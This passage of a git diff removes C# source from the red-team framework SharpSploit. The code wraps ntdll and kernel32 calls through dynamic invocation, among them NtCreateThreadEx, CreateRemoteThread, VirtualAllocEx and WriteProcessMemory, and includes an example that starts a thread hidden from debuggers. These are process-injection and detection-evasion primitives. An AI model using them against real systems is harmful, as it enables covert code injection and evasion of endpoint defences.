Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to write memory, " + retValue);
|
||||
}
|
||||
|
||||
BytesWritten = (UInt32)funcargs[4];
|
||||
return BytesWritten;
|
||||
}
|
||||
|
||||
public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hModule, FunctionName, Ordinal, FunctionAddress
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed get procedure address, " + retValue);
|
||||
}
|
||||
|
||||
FunctionAddress = (IntPtr)funcargs[3];
|
||||
return FunctionAddress;
|
||||
}
|
||||
|
||||
public static void RtlGetVersion(ref Execute.Native.OSVERSIONINFOEX VersionInformation)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
VersionInformation
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed get procedure address, " + retValue);
|
||||
}
|
||||
|
||||
VersionInformation = (Execute.Native.OSVERSIONINFOEX)funcargs[0];
|
||||
}
|
||||
|
||||
public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
UInt32 NumberOfBytesRead = 0;
|
||||
object[] funcargs =
|
||||
{
|
||||
ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to read memory, " + retValue);
|
||||
}
|
||||
|
||||
NumberOfBytesRead = (UInt32)funcargs[4];
|
||||
return NumberOfBytesRead;
|
||||
}
|
||||
|
||||
public static IntPtr NtOpenFile(ref IntPtr FileHandle, Execute.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr, ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock, Execute.Win32.Kernel32.FileShareFlags ShareAccess, Execute.Win32.Kernel32.FileOpenFlags OpenOptions)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions
|
||||
};
|
||||
|
||||
Execute.Native.NTSTATUS retValue = (Execute.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs);
|
||||
if (retValue != Execute.Native.NTSTATUS.Success)
|
||||
{
|
||||
throw new InvalidOperationException("Failed to open file, " + retValue);
|
||||
}
|
||||
|
||||
|
||||
FileHandle = (IntPtr)funcargs[0];
|
||||
return FileHandle;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Holds delegates for API calls in the NT Layer.
|
||||
/// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke
|
||||
/// </summary>
|
||||
/// <example>
|
||||
///
|
||||
/// // These delegates may also be used directly.
|
||||
///
|
||||
/// // Get a pointer to the NtCreateThreadEx function.
|
||||
/// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx");
|
||||
///
|
||||
/// // Create an instance of a NtCreateThreadEx delegate from our function pointer.
|
||||
/// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
|
||||
/// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
|
||||
///
|
||||
/// // Invoke NtCreateThreadEx using the delegate
|
||||
/// createThread(ref threadHandle, Execute.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Execute.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,
|
||||
/// procHandle, startAddress, IntPtr.Zero, Execute.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);
|
||||
///
|
||||
/// </example>
|
||||
public struct DELEGATES
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate Execute.Native.NTSTATUS NtCreateThreadEx(
|
||||
out IntPtr threadHandle,
|
||||
Execute.Win32.WinNT.ACCESS_MASK desiredAccess,
|
||||
IntPtr objectAttributes,
|
||||
IntPtr processHandle,
|
||||
IntPtr startAddress,
|
||||
IntPtr parameter,
|
||||
bool createSuspended,
|
||||
int stackZeroBits,
|
||||
int sizeOfStack,
|
||||
int maximumStackSize,
|
||||
IntPtr attributeList);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate Execute.Native.NTSTATUS RtlCreateUserThread(
|
||||
IntPtr Process,
|
||||
IntPtr ThreadSecurityDescriptor,
|
||||
bool CreateSuspended,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr MaximumStackSize,
|
||||
IntPtr CommittedStackSize,
|
||||
IntPtr StartAddress,
|
||||
IntPtr Parameter,
|
||||
ref IntPtr Thread,
|
||||
IntPtr ClientId);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate Execute.Native.NTSTATUS NtCreateSection(
|
||||
ref IntPtr SectionHandle,
|
||||
uint DesiredAccess,
|
||||
IntPtr ObjectAttributes,
|
||||
ref ulong MaximumSize,
|
||||
uint SectionPageProtection,
|
||||
uint AllocationAttributes,
|
||||
IntPtr FileHandle);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate Execute.Native.NTSTATUS NtUnmapViewOfSection(
|
||||
IntPtr hProc,
|
||||
IntPtr baseAddr);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate Execute.Native.NTSTATUS NtMapViewOfSection(
|
||||
IntPtr SectionHandle,
|
||||
IntPtr ProcessHandle,
|
||||
out IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
IntPtr CommitSize,
|
||||
IntPtr SectionOffset,
|
||||
out ulong ViewSize,
|
||||
uint InheritDisposition,
|
||||
uint AllocationType,
|
||||
uint Win32Protect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 LdrLoadDll(
|
||||
IntPtr PathToFile,
|
||||
UInt32 dwFlags,
|
||||
ref Execute.Native.UNICODE_STRING ModuleFileName,
|
||||
ref IntPtr ModuleHandle);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate void RtlInitUnicodeString(
|
||||
ref Execute.Native.UNICODE_STRING DestinationString,
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
string SourceString);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate void RtlZeroMemory(
|
||||
IntPtr Destination,
|
||||
int length);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtQueryInformationProcess(
|
||||
IntPtr processHandle,
|
||||
Execute.Native.PROCESSINFOCLASS processInformationClass,
|
||||
IntPtr processInformation,
|
||||
int processInformationLength,
|
||||
ref UInt32 returnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtOpenProcess(
|
||||
ref IntPtr ProcessHandle,
|
||||
Execute.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
|
||||
ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes,
|
||||
ref Execute.Native.CLIENT_ID ClientId);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtQueueApcThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ApcRoutine,
|
||||
IntPtr ApcArgument1,
|
||||
IntPtr ApcArgument2,
|
||||
IntPtr ApcArgument3);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtOpenThread(
|
||||
ref IntPtr ThreadHandle,
|
||||
Execute.Win32.Kernel32.ThreadAccess DesiredAccess,
|
||||
ref Execute.Native.OBJECT_ATTRIBUTES ObjectAttributes,
|
||||
ref Execute.Native.CLIENT_ID ClientId);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtAllocateVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
IntPtr ZeroBits,
|
||||
ref IntPtr RegionSize,
|
||||
Execute.Win32.Kernel32.AllocationType AllocationType,
|
||||
UInt32 Protect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtFreeVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
ref IntPtr RegionSize,
|
||||
Execute.Win32.Kernel32.AllocationType FreeType);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtQueryVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
IntPtr BaseAddress,
|
||||
Execute.Native.MEMORYINFOCLASS MemoryInformationClass,
|
||||
IntPtr MemoryInformation,
|
||||
UInt32 MemoryInformationLength,
|
||||
ref UInt32 ReturnLength);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtProtectVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
ref IntPtr BaseAddress,
|
||||
ref IntPtr RegionSize,
|
||||
UInt32 NewProtect,
|
||||
ref UInt32 OldProtect);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtWriteVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
IntPtr BaseAddress,
|
||||
IntPtr Buffer,
|
||||
UInt32 BufferLength,
|
||||
ref UInt32 BytesWritten);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 RtlUnicodeStringToAnsiString(
|
||||
ref Execute.Native.ANSI_STRING DestinationString,
|
||||
ref Execute.Native.UNICODE_STRING SourceString,
|
||||
bool AllocateDestinationString);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 LdrGetProcedureAddress(
|
||||
IntPtr hModule,
|
||||
IntPtr FunctionName,
|
||||
IntPtr Ordinal,
|
||||
ref IntPtr FunctionAddress);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 RtlGetVersion(
|
||||
ref Execution.Native.OSVERSIONINFOEX VersionInformation);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtReadVirtualMemory(
|
||||
IntPtr ProcessHandle,
|
||||
IntPtr BaseAddress,
|
||||
IntPtr Buffer,
|
||||
UInt32 NumberOfBytesToRead,
|
||||
ref UInt32 NumberOfBytesRead);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate UInt32 NtOpenFile(
|
||||
ref IntPtr FileHandle,
|
||||
Execute.Win32.Kernel32.FileAccessFlags DesiredAccess,
|
||||
ref Execute.Native.OBJECT_ATTRIBUTES ObjAttr,
|
||||
ref Execute.Native.IO_STATUS_BLOCK IoStatusBlock,
|
||||
Execute.Win32.Kernel32.FileShareFlags ShareAccess,
|
||||
Execute.Win32.Kernel32.FileOpenFlags OpenOptions);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,174 +0,0 @@
|
|||
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
|
||||
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
|
||||
// License: BSD 3-Clause
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using Execute = SharpSploit.Execution;
|
||||
|
||||
namespace SharpSploit.Execution.DynamicInvoke
|
||||
{
|
||||
/// <summary>
|
||||
/// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls.
|
||||
/// </summary>
|
||||
public static class Win32
|
||||
{
|
||||
/// <summary>
|
||||
/// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
|
||||
/// </summary>
|
||||
/// <author>The Wover (@TheRealWover)</author>
|
||||
/// <param name="dwDesiredAccess"></param>
|
||||
/// <param name="bInheritHandle"></param>
|
||||
/// <param name="dwProcessId"></param>
|
||||
/// <returns></returns>
|
||||
public static IntPtr OpenProcess(Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
dwDesiredAccess, bInheritHandle, dwProcessId
|
||||
};
|
||||
|
||||
return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
|
||||
typeof(Delegates.OpenProcess), ref funcargs);
|
||||
}
|
||||
|
||||
public static IntPtr CreateRemoteThread(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
ref IntPtr lpThreadId)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
|
||||
};
|
||||
|
||||
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
|
||||
typeof(Delegates.CreateRemoteThread), ref funcargs);
|
||||
|
||||
// Update the modified variables
|
||||
lpThreadId = (IntPtr)funcargs[6];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
|
||||
/// </summary>
|
||||
/// <returns>Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).</returns>
|
||||
public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
|
||||
{
|
||||
|
||||
// Build the set of parameters to pass in to IsWow64Process
|
||||
object[] funcargs =
|
||||
{
|
||||
hProcess, lpSystemInfo
|
||||
};
|
||||
|
||||
bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
|
||||
|
||||
lpSystemInfo = (bool) funcargs[1];
|
||||
|
||||
// Dynamically load and invoke the API call with out parameters
|
||||
return retVal;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses DynamicInvocation to call the VirtualAllocEx Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
|
||||
/// </summary>
|
||||
/// <returns>Returns the base address of allocated region if successful, otherwise return NULL.</returns>
|
||||
public static IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
Execute.Win32.Kernel32.AllocationType flAllocationType,
|
||||
Execute.Win32.Kernel32.MemoryProtection flProtect)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hProcess, lpAddress, dwSize, flAllocationType, flProtect
|
||||
};
|
||||
|
||||
IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"VirtualAllocEx",
|
||||
typeof(Delegates.VirtualAllocEx), ref funcargs);
|
||||
|
||||
return retValue;
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Uses DynamicInvocation to call the WriteProcessMemory Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
|
||||
/// </summary>
|
||||
/// <returns>Returns true if process memory was written successfully, otherwise return false.</returns>
|
||||
public static bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
Int32 nSize,
|
||||
out IntPtr lpNumberOfBytesWritten)
|
||||
{
|
||||
// Craft an array for the arguments
|
||||
object[] funcargs =
|
||||
{
|
||||
hProcess, lpBaseAddress, lpBuffer, nSize, IntPtr.Zero
|
||||
};
|
||||
|
||||
bool retValue = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"WriteProcessMemory",
|
||||
typeof(Delegates.WriteProcessMemory), ref funcargs);
|
||||
|
||||
// Update bytes written
|
||||
lpNumberOfBytesWritten = (IntPtr)funcargs[4];
|
||||
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static class Delegates
|
||||
{
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
|
||||
IntPtr lpThreadAttributes,
|
||||
uint dwStackSize,
|
||||
IntPtr lpStartAddress,
|
||||
IntPtr lpParameter,
|
||||
uint dwCreationFlags,
|
||||
out IntPtr lpThreadId);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate IntPtr OpenProcess(
|
||||
Execute.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
UInt32 dwProcessId
|
||||
);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
Execute.Win32.Kernel32.AllocationType flAllocationType,
|
||||
Execute.Win32.Kernel32.MemoryProtection flProtect
|
||||
);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
Int32 nSize,
|
||||
out IntPtr lpNumberOfBytesWritten
|
||||
);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
|
||||
public delegate bool IsWow64Process(
|
||||
IntPtr hProcess, ref bool lpSystemInfo
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue